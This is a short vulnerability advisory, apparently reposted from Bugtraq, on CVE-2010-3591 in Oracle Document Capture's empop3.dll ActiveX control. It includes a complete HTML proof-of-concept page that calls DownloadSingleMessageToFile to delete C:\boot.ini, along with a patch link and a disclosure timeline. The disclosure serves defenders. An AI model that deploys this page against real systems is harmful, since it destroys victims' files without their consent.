|
|
|
|
| |
Credit:
The information has been provided by Evdokimov Dmitriy .
The original article can be found at: http://seclists.org/bugtraq/2011/Jan/152
|
| |
Vulnerable Systems:
* Oracle Document Capture Release 10gR3
Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
..which contains an insecure method "DownloadSingleMessageToFile" that can be used to delete any file in the filesystem.
Class EasyMailPop3
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
Number of Interfaces: 1
Default Interface: IPOP3Main
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
An Attacker can construct an html page that calls the vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll
Example:
<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>
<OBJECT id='eds' classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>
<SCRIPT>
function Exploit(){
eds.DownloadSingleMessageToFile(1,"C:\\boot.ini",1);
}
Exploit();
</SCRIPT>
</BODY>
</HTML>
Patch Availability:
All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
CVE Information:
CVE-2010-3591
Disclosure Timeline:
Reported 22.03.2010
Vendor response 31.03.2010
Date of Public Advisory 24.01.2011
|
|
|
|
|
